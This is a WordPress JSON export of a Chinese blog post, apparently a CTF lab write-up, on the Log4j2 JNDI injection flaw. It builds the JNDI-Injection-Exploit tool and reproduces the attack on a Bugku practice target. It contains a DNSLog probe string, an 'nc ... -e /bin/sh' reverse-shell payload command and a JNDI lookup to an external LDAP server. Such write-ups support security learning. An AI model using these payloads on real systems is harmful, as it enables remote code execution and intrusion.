{"id":739,"date":"2025-07-04T11:03:21","date_gmt":"2025-07-04T03:03:21","guid":{"rendered":"http:\/\/mikuhacker.cn\/?p=739"},"modified":"2025-07-05T09:32:52","modified_gmt":"2025-07-05T01:32:52","slug":"log4j2%e7%bb%84%e4%bb%b6%e6%bc%8f%e6%b4%9e-jndi%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"http:\/\/mikuhacker.cn\/?p=739","title":{"rendered":"Log4j2\u7ec4\u4ef6\u6f0f\u6d1e-JNDI\u6ce8\u5165"},"content":{"rendered":"\n

Log4j2\u6f0f\u6d1e\u6210\u56e0<\/h2>\n\n\n\n

Log4j2\u662fJava\u4e2d\u5e38\u7528\u4e8e\u67e5\u8be2\u3001\u8f93\u51fa\u65e5\u5fd7\u7684\u6846\u67b6\uff0c\u63d0\u4f9b\u4e86\u4e00\u4e2a\u540d\u4e3aLookup\u7684\u7ec4\u4ef6\uff0c\u7528\u6237\u901a\u8fc7LDAP\u534f\u8bae\u53ef\u4ee5\u8bf7\u6c42\u6570\u636e\uff0c\u8fd8\u53ef\u4ee5\u8bf7\u6c42Java\u5bf9\u8c61\u3002\u540c\u65f6JNDI\u652f\u6301\u8fdc\u7a0b\u4e0b\u8f7dclass\u6587\u4ef6\u6784\u5efa\u5bf9\u8c61\uff0c\u8fd9\u76f4\u63a5\u5bfc\u81f4\u4e86\u5b89\u5168\u95ee\u9898\uff1a\u82e5class\u6587\u4ef6\u6709\u6076\u610f\u4ee3\u7801\uff0c\u5219\u4f1a\u88ab\u653b\u51fb\u3002<\/p>\n\n\n\n

JNDI\u6ce8\u5165\u539f\u7406<\/h2>\n\n\n\n

\u901a\u8fc7\u6ce8\u5165JNDI\u8bed\u53e5\u63a7\u5236\u670d\u52a1\u5668\u8fdc\u7a0b\u4e0b\u8f7dclass\u6587\u4ef6\u5e76\u52a0\u8f7d\u5bf9\u8c61\uff0c\u5b9e\u73b0\u4efb\u610f\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n

JNDI\u6ce8\u5165\u5de5\u5177\u4f7f\u7528<\/h2>\n\n\n\n

\u73af\u5883\u8981\u6c42\uff1a\u5df2\u5b89\u88c5Java\u3001maven<\/p>\n\n\n\n

\u5b89\u88c5\u5de5\u5177\uff1a<\/p>\n\n\n\n

$ git clone https:\/\/github.com\/welk1n\/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests<\/code><\/pre>\n\n\n\n
\u5de5\u5177\u4f7f\u7528\uff1a\uff08\u5728JNDI-Injection-Exploit-master\u6587\u4ef6\u5939\u4e2d\uff09<\/p>\n\n\n\n
#\u751f\u6210payload
java -jar target\/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \"[\u8981\u6267\u884c\u7684\u547d\u4ee4]\" -A [\u653b\u51fb\u673aIP]<\/code><\/pre>\n\n\n\n
\u5c06\u751f\u6210\u7684payoload\u62fc\u63a5\u6210JNDI\u8bed\u53e5\uff0c\u4f20\u5165JNDI\u8bed\u53e5\u7ed9\u76ee\u6807\u6267\u884c<\/p>\n\n\n\n
Bugku\u5e73\u53f0-JNDI\u9776\u673a\u6f0f\u6d1e\u590d\u73b0<\/h2>\n\n\n\n
\u9898\u76ee\u5730\u5740\uff1aApache Log4j2 RCE – Bugku CTF\u5e73\u53f0<\/a><\/p>\n\n\n\n
\u5229\u7528dnslog\u5916\u5e26\u68c0\u6d4b\u7f51\u7ad9\uff08DNSLog Platform<\/a>\uff09\u751f\u6210\u4e00\u4e2aurl<\/p>\n\n\n\n
\"image-20250704153850039\"\/<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u7528\u4e8e\u68c0\u6d4bJNDI\u6ce8\u5165\u6f0f\u6d1e\u7684\u8bed\u53e5<\/p>\n\n\n\n
${jndi:ldap:\/\/oifm1v.dnslog.cn}<\/pre>\n\n\n\n
\u6d4b\u8bd5\u9776\u673a\u8f93\u5165\u53e3\u6709\u65e0JNDI\u6ce8\u5165\u6f0f\u6d1e<\/p>\n\n\n\n
\"image-20250704154205082\"\/<\/div><\/figure>\n\n\n\n
\u63d0\u4ea4\u540e\u5728dnslog\u5e73\u53f0\u53d1\u73b0\u8bb0\u5f55\uff0c\u8bf4\u660e\u5b58\u5728JNDI\u6ce8\u5165\u6f0f\u6d1e<\/p>\n\n\n\n
\"image-20250704154300897\"\/<\/div><\/figure>\n\n\n\n
\u4f7f\u7528JNDI\u6ce8\u5165\u5de5\u5177\u751f\u6210\u7528\u4e8e\u53cd\u5f39shell\u7684payload<\/p>\n\n\n\n
java -jar target\/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \"nc [\u653b\u51fb\u673aIP] [\u76d1\u542c\u7aef\u53e3] -e \/bin\/sh\" -A [\u653b\u51fb\u673aIP]<\/code><\/pre>\n\n\n\n
\"\u5c4f\u5e55\u622a\u56fe<\/div><\/figure>\n\n\n\n
\u5728\u653b\u51fb\u673a\u4e0a\u65b0\u5f00\u4e00\u4e2a\u754c\u9762\uff0cnc\u76d1\u542c\u7aef\u53e3\uff0c\u540c\u65f6\u5c06\u62fc\u63a5\u5f97\u5230JNDI\u6ce8\u5165\u8bed\u53e5\u4ea4\u7ed9\u76ee\u6807\u6267\u884c<\/p>\n\n\n\n
${jndi:ldap:\/\/47.120.52.135:1389\/wwmsct}<\/code><\/pre>\n\n\n\n
\u5f97\u5230\u53cd\u5f39shell<\/p>\n\n\n\n
\"image-20250705092201709\"\/<\/div><\/figure>\n\n\n\n
\u6ce8\u610f\u4e8b\u9879\uff1a\u8be5\u5de5\u5177\u76f8\u6bd4\u4e8ejndi-server\u5de5\u5177\uff0c\u628aldap\/rmi\u4e0ehttp\u670d\u52a1\u7ed1\u5728\u4e86\u4e00\u8d77\u542f\u52a8\uff0c\u4e14http\u670d\u52a1\u662f\u901a\u8fc7JettyServer\u8dd1\u8d77\u6765\u7684\uff0c\u6240\u4ee5\u4f7f\u7528\u7684\u65f6\u5019\uff0c\u670d\u52a1\u5668\u4e0d\u4ec5\u8981\u6253\u5f001389\u62161099\u7aef\u53e3\uff0c\u8fd8\u8981\u6253\u5f008180\u7aef\u53e3\uff0c\u5426\u5219\u5f39shell\u4e0d\u6210\u529f\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Log4j2\u6f0f\u6d1e\u6210\u56e0 Log4j2\u662fJava\u4e2d\u5e38\u7528\u4e8e\u67e5\u8be2\u3001\u8f93\u51fa\u65e5\u5fd7\u7684\u6846\u67b6\uff0c\u63d0\u4f9b\u4e86\u4e00\u4e2a\u540d\u4e3aLookup\u7684\u7ec4\u4ef6\uff0c\u7528\u6237\u901a\u8fc7LDAP\u534f\u8bae\u53ef\u4ee5\u8bf7\u6c42\u6570\u636e\uff0c\u8fd8\u53ef\u4ee5\u8bf7\u6c42Java\u5bf9\u8c61\u3002\u540c\u65f6JNDI\u652f\u6301\u8fdc\u7a0b\u4e0b\u8f7dclass\u6587\u4ef6\u6784\u5efa\u5bf9\u8c61\uff0c\u8fd9\u76f4\u63a5\u5bfc\u81f4\u4e86\u5b89\u5168\u95ee\u9898\uff1a\u82e5class\u6587\u4ef6\u6709\u6076\u610f\u4ee3\u7801\uff0c\u5219\u4f1a\u88ab\u653b\u51fb\u3002 JNDI\u6ce8\u5165\u539f\u7406 \u901a\u8fc7\u6ce8\u5165JNDI\u8bed\u53e5\u63a7\u5236\u670d\u52a1\u5668\u8fdc\u7a0b\u4e0b\u8f7dclass\u6587\u4ef6\u5e76\u52a0\u8f7d\u5bf9\u8c61\uff0c\u5b9e\u73b0\u4efb\u610f\u547d\u4ee4\u6267\u884c JNDI\u6ce8\u5165\u5de5\u5177\u4f7f\u7528 \u73af\u5883\u8981\u6c42\uff1a\u5df2\u5b89\u88c5Java\u3001maven \u5b89\u88c5\u5de5\u5177\uff1a \u5de5\u5177\u4f7f\u7528\uff1a\uff08\u5728JNDI-Injection-Exploit-master\u6587\u4ef6\u5939\u4e2d\uff09 \u5c06\u751f\u6210\u7684payoload\u62fc\u63a5\u6210JNDI\u8bed\u53e5\uff0c\u4f20\u5165JNDI\u8bed\u53e5\u7ed9\u76ee\u6807\u6267\u884c Bugku\u5e73\u53f0-JNDI\u9776\u673a\u6f0f\u6d1e\u590d\u73b0 \u9898\u76ee\u5730\u5740\uff1aApache Log4j2 RCE – Bugku CTF\u5e73\u53f0 \u5229\u7528dnslog\u5916\u5e26\u68c0\u6d4b\u7f51\u7ad9\uff08DNSLog Platform\uff09\u751f\u6210\u4e00\u4e2aurl \u5f97\u5230\u7528\u4e8e\u68c0\u6d4bJNDI\u6ce8\u5165\u6f0f\u6d1e\u7684\u8bed\u53e5 ${jndi:ldap:\/\/oifm1v.dnslog.cn} \u6d4b\u8bd5\u9776\u673a\u8f93\u5165\u53e3\u6709\u65e0JNDI\u6ce8\u5165\u6f0f\u6d1e \u63d0\u4ea4\u540e\u5728dnslog\u5e73\u53f0\u53d1\u73b0\u8bb0\u5f55\uff0c\u8bf4\u660e\u5b58\u5728JNDI\u6ce8\u5165\u6f0f\u6d1e \u4f7f\u7528JNDI\u6ce8\u5165\u5de5\u5177\u751f\u6210\u7528\u4e8e\u53cd\u5f39shell\u7684payload \u5728\u653b\u51fb\u673a\u4e0a\u65b0\u5f00\u4e00\u4e2a\u754c\u9762\uff0cnc\u76d1\u542c\u7aef\u53e3\uff0c\u540c\u65f6\u5c06\u62fc\u63a5\u5f97\u5230JNDI\u6ce8\u5165\u8bed\u53e5\u4ea4\u7ed9\u76ee\u6807\u6267\u884c \u5f97\u5230\u53cd\u5f39shell \u6ce8\u610f\u4e8b\u9879\uff1a\u8be5\u5de5\u5177\u76f8\u6bd4\u4e8ejndi-server\u5de5\u5177\uff0c\u628aldap\/rmi\u4e0ehttp\u670d\u52a1\u7ed1\u5728\u4e86\u4e00\u8d77\u542f\u52a8\uff0c\u4e14http\u670d\u52a1\u662f\u901a\u8fc7JettyServer\u8dd1\u8d77\u6765\u7684\uff0c\u6240\u4ee5\u4f7f\u7528\u7684\u65f6\u5019\uff0c\u670d\u52a1\u5668\u4e0d\u4ec5\u8981\u6253\u5f001389\u62161099\u7aef\u53e3\uff0c\u8fd8\u8981\u6253\u5f008180\u7aef\u53e3\uff0c\u5426\u5219\u5f39shell\u4e0d\u6210\u529f\u3002<\/p>\n","protected":false},"author":1,"featured_media":744,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-739","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-study"],"_links":{"self":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts\/739"}],"collection":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=739"}],"version-history":[{"count":5,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts\/739\/revisions"}],"predecessor-version":[{"id":754,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/posts\/739\/revisions\/754"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=\/wp\/v2\/media\/744"}],"wp:attachment":[{"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=739"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=739"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/mikuhacker.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=739"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}